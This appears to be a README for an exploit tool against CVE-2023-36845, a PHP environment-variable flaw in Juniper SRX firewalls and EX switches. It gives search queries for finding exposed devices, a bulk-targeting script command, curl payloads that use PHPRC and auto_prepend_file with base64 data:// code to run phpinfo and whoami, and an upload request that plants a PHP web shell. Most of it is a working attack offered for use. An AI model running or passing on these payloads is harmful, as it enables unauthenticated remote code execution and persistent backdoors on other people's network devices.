CVE-2023-36845 represents a notable PHP environment variable manipulation vulnerability that impacts Juniper SRX firewalls and EX switches. While Juniper has categorized this vulnerability as being of medium severity, in this article, we will elucidate how this singular vulnerability can be leveraged for remote, unauthenticated code execution.
title:"Juniper Web Device Manager"
![image](https://private-user-images.githubusercontent.com/104329412/270753732-5b4224e1-7e5b-45fe-b2ee-0b1658c20b0d.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjM4MzMwMDksIm5iZiI6MTcyMzgzMjcwOSwicGF0aCI6Ii8xMDQzMjk0MTIvMjcwNzUzNzMyLTViNDIyNGUxLTdlNWItNDVmZS1iMmVlLTBiMTY1OGMyMGIwZC5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjQwODE2JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI0MDgxNlQxODI1MDlaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0wYjk0YjU2YjkzNTdhYjFiYjk3Y2Y4OWNmNDM1YmRhMWMwZjY0ZWNmNWZiOGY4NTdmYjEwMDc2NDQxYjBkZGZhJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZhY3Rvcl9pZD0wJmtleV9pZD0wJnJlcG9faWQ9MCJ9.WWG1SUQiX2C9ybAsLUJN90F7IgVQ1PvycvXsN0Y4tPs)
title:"Juniper" http.favicon.hash:2141724739
![image](https://private-user-images.githubusercontent.com/104329412/270767003-84aca479-7b9e-4a4d-84f0-8e678c367548.png?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3MjM4MzMwMDksIm5iZiI6MTcyMzgzMjcwOSwicGF0aCI6Ii8xMDQzMjk0MTIvMjcwNzY3MDAzLTg0YWNhNDc5LTdiOWUtNGE0ZC04NGYwLThlNjc4YzM2NzU0OC5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjQwODE2JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI0MDgxNlQxODI1MDlaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0yMjJmMmYyNGZkMjNmMWU4YWFlZWJhYjYxNDdhMTgzMjExM2Y4OWU3ODM5ZDU2ZjQxNGVmMDY3YjViMWU4NDJmJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCZhY3Rvcl9pZD0wJmtleV9pZD0wJnJlcG9faWQ9MCJ9.NveWPLvzkaeEGKEeN_La7uUwgLGAeHppBLVSw-tSkv4)
Detection
python3 CVE-2023-36845.py -f targets.txt -o output.txt
Utilizing any protocol wrapper in conjunction with auto_prepend_file
is feasible. The most suitable choice for this operation is the data://
protocol, which allows inline provision of the "secondary file". Here's a sophisticated representation of this exploit, executing the embedded <? phpinfo(); ?>
within the data://
scheme:
curl "http://target.tld/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
Execute whoami
command
<?php shell_exec('whoami'); ?>
curl "http://target.tld/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD9waHAgc2hlbGxfZXhlYygnd2hvYW1pJyk7ID8+Cg=="'
Upload a file
<?php if(isset($_REQUEST[cmd])){ echo "<pre>"; $cmd = ($_REQUEST[cmd]); system($cmd); echo "</pre>"; die; }?>
$ curl http://target.tld/webauth_operation.php -d 'rs=do_upload&rsargs[]=[{"fileName": "shell.php", "fileData": ",PD9waHAgaWYoaXNzZXQoJF9SRVFVRVNUW2NtZF0pKXsgZWNobyAiPHByZT4iOyAkY21kID0gKCRfUkVRVUVTVFtjbWRdKTsgc3lzdGVtKCRjbWQpOyBlY2hvICI8L3ByZT4iOyBkaWU7IH0/Pgo=
", "csize": 110}]'
Parameter | Description | Type |
---|---|---|
--file / -f | Input targets file | File |
-o | Output file | File |